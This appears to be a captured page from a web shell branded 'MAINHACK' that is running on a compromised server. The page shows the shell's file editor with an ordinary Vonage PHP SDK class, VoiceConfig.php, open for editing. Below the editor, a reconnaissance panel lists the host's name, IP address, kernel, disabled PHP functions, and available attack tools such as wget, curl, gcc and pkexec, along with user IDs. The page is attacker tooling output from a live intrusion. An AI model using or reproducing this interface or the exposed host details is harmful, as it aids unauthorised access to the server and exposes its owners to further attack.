[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: VoiceConfig.php
<?php declare(strict_types=1); namespace Vonage\Application; use function trigger_error; class VoiceConfig { public const EVENT = 'event_url'; public const ANSWER = 'answer_url'; public const FALLBACK_ANSWER_URL = 'fallback_answer_url'; protected ?bool $signedCallbacks = null; protected ?int $conversationsTtl = null; protected ?string $region = null; protected const ALLOWED_REGIONS = [ 'na-east', 'na-west', 'eu-west', 'eu-east', 'apac-sng', 'apac-australia' ]; protected array $webhooks = []; public function setWebhook($type, $url, $method = null): self { if (!$url instanceof Webhook) { trigger_error( 'Passing a string URL and method are deprecated, please pass a Webhook object instead', E_USER_DEPRECATED ); $url = new Webhook($url, $method); } $this->webhooks[$type] = $url; return $this; } public function getWebhook($type) { return $this->webhooks[$type] ?? null; } public function getSignedCallbacks(): ?bool { return $this->signedCallbacks; } public function setSignedCallbacks(?bool $signedCallbacks): static { $this->signedCallbacks = $signedCallbacks; return $this; } public function getConversationsTtl(): ?int { return $this->conversationsTtl; } public function setConversationsTtl(?int $conversationsTtl): static { $this->conversationsTtl = $conversationsTtl; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): static { if (!in_array($region, self::ALLOWED_REGIONS, true)) { throw new \InvalidArgumentException('Unrecognised Region: ' . $region); } $this->region = $region; return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002